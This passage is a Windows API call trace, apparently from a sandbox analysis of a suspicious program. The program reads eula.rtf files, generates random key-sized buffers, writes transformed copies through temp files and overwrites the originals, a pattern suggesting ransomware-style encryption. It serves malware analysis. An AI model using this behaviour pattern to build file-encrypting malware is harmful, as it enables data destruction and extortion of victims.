	[0236.316] GetFileInformationByHandleEx (in: hFile=0x174, FileInformationClass=0x9, lpFileInformation=0xc000199c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000199c28) returned 1
	[0236.316] VirtualAlloc (lpAddress=0xc0002c4000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c4000
	[0236.316] ReadFile (in: hFile=0x174, lpBuffer=0xc0002c4000, nNumberOfBytesToRead=0x1176, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002c4000*, lpNumberOfBytesRead=0xc000199b04*=0xf76, lpOverlapped=0x0) returned 1
	[0236.319] ReadFile (in: hFile=0x174, lpBuffer=0xc0002c4f76, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002c4f76*, lpNumberOfBytesRead=0xc000199b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.319] CloseHandle (hObject=0x174) returned 1
	[0236.319] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00028e540 | out: pbBuffer=0xc00028e540) returned 1
	[0236.319] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c4e0 | out: pbBuffer=0xc00028c4e0) returned 1
	[0236.319] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8301 | out: pbBuffer=0xc0002a8301) returned 1
	[0236.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.487] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0236.487] GetFileType (hFile=0x198) returned 0x1
	[0236.487] WriteFile (in: hFile=0x198, lpBuffer=0xc0002c5300*, nNumberOfBytesToWrite=0x1076, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002c5300*, lpNumberOfBytesWritten=0xc000199bec*=0x1076, lpOverlapped=0x0) returned 1
	[0236.490] CloseHandle (hObject=0x198) returned 1
	[0236.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.503] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0236.503] GetFileType (hFile=0x198) returned 0x1
	[0236.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.504] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0236.504] GetFileType (hFile=0x19c) returned 0x1
	[0236.504] VirtualAlloc (lpAddress=0xc0002ce000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ce000
	[0236.505] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002ce000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesRead=0xc000199bd4*=0x1076, lpOverlapped=0x0) returned 1
	[0236.507] WriteFile (in: hFile=0x198, lpBuffer=0xc0002ce000*, nNumberOfBytesToWrite=0x1076, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesWritten=0xc000199b74*=0x1076, lpOverlapped=0x0) returned 1
	[0236.509] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002ce000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.509] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 0
	[0236.509] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 0
	[0236.509] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 0x20
	[0236.510] CloseHandle (hObject=0x19c) returned 1
	[0236.510] CloseHandle (hObject=0x198) returned 1
	[0236.510] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 1
	[0236.544] SetEvent (hEvent=0xd4) returned 1
	[0236.544] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.544] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.545] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199bf4 | out: lpMode=0xc000199bf4) returned 0
	[0236.545] GetFileType (hFile=0x198) returned 0x1
	[0236.545] GetFileType (hFile=0x198) returned 0x1
	[0236.545] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc000199c44 | out: lpFileInformation=0xc000199c44) returned 1
	[0236.545] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc000199c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000199c28) returned 1
	[0236.545] ReadFile (in: hFile=0x198, lpBuffer=0xc0002c6600, nNumberOfBytesToRead=0x113b, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002c6600*, lpNumberOfBytesRead=0xc000199b04*=0xf3b, lpOverlapped=0x0) returned 1
	[0236.548] ReadFile (in: hFile=0x198, lpBuffer=0xc0002c753b, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002c753b*, lpNumberOfBytesRead=0xc000199b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.548] CloseHandle (hObject=0x198) returned 1
	[0236.548] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00028e700 | out: pbBuffer=0xc00028e700) returned 1
	[0236.548] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c5f0 | out: pbBuffer=0xc00028c5f0) returned 1
	[0236.548] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8501 | out: pbBuffer=0xc0002a8501) returned 1
	[0236.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.814] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0236.814] GetFileType (hFile=0x198) returned 0x1
	[0236.815] WriteFile (in: hFile=0x198, lpBuffer=0xc0002c7900*, nNumberOfBytesToWrite=0x103b, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002c7900*, lpNumberOfBytesWritten=0xc000199bec*=0x103b, lpOverlapped=0x0) returned 1
	[0236.817] CloseHandle (hObject=0x198) returned 1
	[0236.853] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.855] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0236.855] GetFileType (hFile=0x198) returned 0x1
	[0236.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.856] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0236.856] GetFileType (hFile=0x19c) returned 0x1
	[0236.856] VirtualAlloc (lpAddress=0xc0002de000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002de000
	[0236.858] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002de000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002de000*, lpNumberOfBytesRead=0xc000199bd4*=0x103b, lpOverlapped=0x0) returned 1
	[0236.858] WriteFile (in: hFile=0x198, lpBuffer=0xc0002de000*, nNumberOfBytesToWrite=0x103b, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002de000*, lpNumberOfBytesWritten=0xc000199b74*=0x103b, lpOverlapped=0x0) returned 1
	[0236.860] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002de000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002de000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.861] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 0
	[0236.861] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 0
	[0236.861] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 0x20
	[0236.861] CloseHandle (hObject=0x19c) returned 1
	[0236.861] CloseHandle (hObject=0x198) returned 1
	[0236.862] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8fa814cfb189e777b3f1d32070350615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8fa814cfb189e777b3f1d32070350615")) returned 1
	[0236.898] SetEvent (hEvent=0x190) returned 1
	[0236.898] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.898] VirtualAlloc (lpAddress=0xc00032c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032c000
	[0236.899] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0236.899] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.899] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199bf4 | out: lpMode=0xc000199bf4) returned 0
	[0236.899] GetFileType (hFile=0x198) returned 0x1
	[0236.899] GetFileType (hFile=0x198) returned 0x1
	[0236.899] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc000199c44 | out: lpFileInformation=0xc000199c44) returned 1
	[0236.899] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc000199c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000199c28) returned 1
	[0236.899] VirtualAlloc (lpAddress=0xc00032e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032e000
	[0236.900] ReadFile (in: hFile=0x198, lpBuffer=0xc00032e000, nNumberOfBytesToRead=0xee6, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc00032e000*, lpNumberOfBytesRead=0xc000199b04*=0xce6, lpOverlapped=0x0) returned 1
	[0236.902] ReadFile (in: hFile=0x198, lpBuffer=0xc00032ece6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc00032ece6*, lpNumberOfBytesRead=0xc000199b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.903] CloseHandle (hObject=0x198) returned 1
	[0236.903] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093a60 | out: pbBuffer=0xc000093a60) returned 1
	[0236.903] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000956c0 | out: pbBuffer=0xc0000956c0) returned 1
	[0236.903] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000083101 | out: pbBuffer=0xc000083101) returned 1
	[0236.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.041] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0237.041] GetFileType (hFile=0x198) returned 0x1
	[0237.041] WriteFile (in: hFile=0x198, lpBuffer=0xc00032f000*, nNumberOfBytesToWrite=0xde6, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc00032f000*, lpNumberOfBytesWritten=0xc000199bec*=0xde6, lpOverlapped=0x0) returned 1
	[0237.044] CloseHandle (hObject=0x198) returned 1
	[0237.070] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.073] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0237.073] GetFileType (hFile=0x198) returned 0x1
	[0237.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.073] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0237.073] GetFileType (hFile=0x19c) returned 0x1
	[0237.073] VirtualAlloc (lpAddress=0xc0001fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fc000
	[0237.074] VirtualAlloc (lpAddress=0xc000388000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000388000
	[0237.074] ReadFile (in: hFile=0x19c, lpBuffer=0xc000388000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000388000*, lpNumberOfBytesRead=0xc000199bd4*=0xde6, lpOverlapped=0x0) returned 1
	[0237.075] WriteFile (in: hFile=0x198, lpBuffer=0xc000388000*, nNumberOfBytesToWrite=0xde6, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc000388000*, lpNumberOfBytesWritten=0xc000199b74*=0xde6, lpOverlapped=0x0) returned 1
	[0237.078] ReadFile (in: hFile=0x19c, lpBuffer=0xc000388000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000388000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.078] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 0
	[0237.078] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 0
	[0237.078] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 0x20
	[0237.078] CloseHandle (hObject=0x19c) returned 1
	[0237.079] CloseHandle (hObject=0x198) returned 1
	[0237.079] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3298d7906e47da9f7e71a84923afa438" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3298d7906e47da9f7e71a84923afa438")) returned 1
	[0237.155] SetEvent (hEvent=0x190) returned 1
	[0237.155] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0237.155] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0237.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.155] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199bf4 | out: lpMode=0xc000199bf4) returned 0
	[0237.155] GetFileType (hFile=0x198) returned 0x1
	[0237.155] GetFileType (hFile=0x198) returned 0x1
	[0237.156] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc000199c44 | out: lpFileInformation=0xc000199c44) returned 1
	[0237.156] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc000199c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000199c28) returned 1
	[0237.156] ReadFile (in: hFile=0x198, lpBuffer=0xc00012f900, nNumberOfBytesToRead=0x1219, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc00012f900*, lpNumberOfBytesRead=0xc000199b04*=0x1019, lpOverlapped=0x0) returned 1
	[0237.158] ReadFile (in: hFile=0x198, lpBuffer=0xc000130919, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc000130919*, lpNumberOfBytesRead=0xc000199b04*=0x0, lpOverlapped=0x0) returned 1
	[0237.159] CloseHandle (hObject=0x198) returned 1
	[0237.159] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093ca0 | out: pbBuffer=0xc000093ca0) returned 1
	[0237.159] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000957e0 | out: pbBuffer=0xc0000957e0) returned 1
	[0237.159] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000083301 | out: pbBuffer=0xc000083301) returned 1
	[0237.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.353] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0237.353] GetFileType (hFile=0x198) returned 0x1
	[0237.353] WriteFile (in: hFile=0x198, lpBuffer=0xc000130c00*, nNumberOfBytesToWrite=0x1119, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc000130c00*, lpNumberOfBytesWritten=0xc000199bec*=0x1119, lpOverlapped=0x0) returned 1
	[0237.355] CloseHandle (hObject=0x198) returned 1
	[0237.380] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.383] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0237.383] GetFileType (hFile=0x198) returned 0x1
	[0237.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.383] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0237.383] GetFileType (hFile=0x19c) returned 0x1
	[0237.384] VirtualAlloc (lpAddress=0xc0002f8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f8000
	[0237.385] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002f8000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f8000*, lpNumberOfBytesRead=0xc000199bd4*=0x1119, lpOverlapped=0x0) returned 1
	[0237.385] WriteFile (in: hFile=0x198, lpBuffer=0xc0002f8000*, nNumberOfBytesToWrite=0x1119, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002f8000*, lpNumberOfBytesWritten=0xc000199b74*=0x1119, lpOverlapped=0x0) returned 1
	[0237.387] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002f8000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f8000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.387] VirtualAlloc (lpAddress=0xc0003ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ac000
	[0237.388] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 0
	[0237.388] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 0
	[0237.388] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 0x20
	[0237.388] CloseHandle (hObject=0x19c) returned 1
	[0237.389] CloseHandle (hObject=0x198) returned 1
	[0237.389] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 1
	[0237.459] SetEvent (hEvent=0x124) returned 1
	[0237.459] SetEvent (hEvent=0x17c) returned 1
	[0237.459] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0237.459] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0237.459] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.460] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199bf4 | out: lpMode=0xc000199bf4) returned 0
	[0237.460] GetFileType (hFile=0x198) returned 0x1
	[0237.460] GetFileType (hFile=0x198) returned 0x1
	[0237.460] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc000199c44 | out: lpFileInformation=0xc000199c44) returned 1
	[0237.460] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc000199c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000199c28) returned 1
	[0237.460] VirtualAlloc (lpAddress=0xc0001fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fe000
	[0237.461] ReadFile (in: hFile=0x198, lpBuffer=0xc0001fe000, nNumberOfBytesToRead=0x1ba5, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001fe000*, lpNumberOfBytesRead=0xc000199b04*=0x19a5, lpOverlapped=0x0) returned 1
	[0237.463] ReadFile (in: hFile=0x198, lpBuffer=0xc0001ff9a5, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ff9a5*, lpNumberOfBytesRead=0xc000199b04*=0x0, lpOverlapped=0x0) returned 1
